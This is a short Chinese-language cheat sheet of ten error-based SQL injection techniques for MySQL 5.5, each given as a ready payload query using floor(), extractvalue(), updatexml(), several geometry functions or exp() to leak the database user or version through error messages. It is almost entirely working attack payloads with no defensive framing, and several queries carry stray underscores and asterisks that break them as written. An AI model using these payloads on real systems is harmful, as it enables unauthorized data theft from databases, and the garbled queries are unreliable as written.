报错注入是最为快速的注入方式,总结了基于MySQL5.5的报错注入10种手法。
一、floor()
常用报错注入方法之一
数据库语句:select * from test where id=1 and (select 1 from (select count(*_),concat(VERSION(),floor(rand(0)*2))x from information_schema.tables group by x)a);
二、extractvalue()
常用报错注入方法之一
mysql5.1.5开始可用
数据库语句:select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
三、updatexml()
常用报错注入方法之一
mysql5.1.5开始可用
数据库语句:select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
四、geometrycollection()
几何函数-版本-5.5.47可以用来注入,5.5.53不行
数据库语句:select *_ from test where id=1 and geometrycollection((_select *_ from_(select * from(select user())a)b));
五、multipoint()
几何函数-版本-5.5.47可以用来注入,5.5.53不行
数据库语句:select *_ from test where id=1 and multipoint((_select *_ from_(select * from(select user())a)b));
六、polygon()
几何函数-版本-5.5.47可以用来注入,5.5.53不行
数据库语句:select * from test where id=1 and polygon((_select *_ from_(select * from(select user())a)b));
七、multipolygon()
几何函数-版本-5.5.47可以用来注入,5.5.53不行
数据库语句:select *_ from test where id=1 and multipolygon((_select *_ from_(select * from(select user())a)b));
八、linestring()
几何函数-版本-5.5.47可以用来注入,5.5.53不行
数据库语句:select * from test where id=1 and linestring((_select *_ from_(select * from(select user())a)b));
九、multilinestring()
几何函数-版本-5.5.47可以用来注入,5.5.53不行
数据库语句:select * from test where id=1 and multilinestring((_select *_ from_(select * from(select user())a)b));
十、exp()
版本-5.5.47可以用来注入,5.5.53不行
数据库语句:select * from test where id=1 and exp(~(_select *_ from_(select user())a));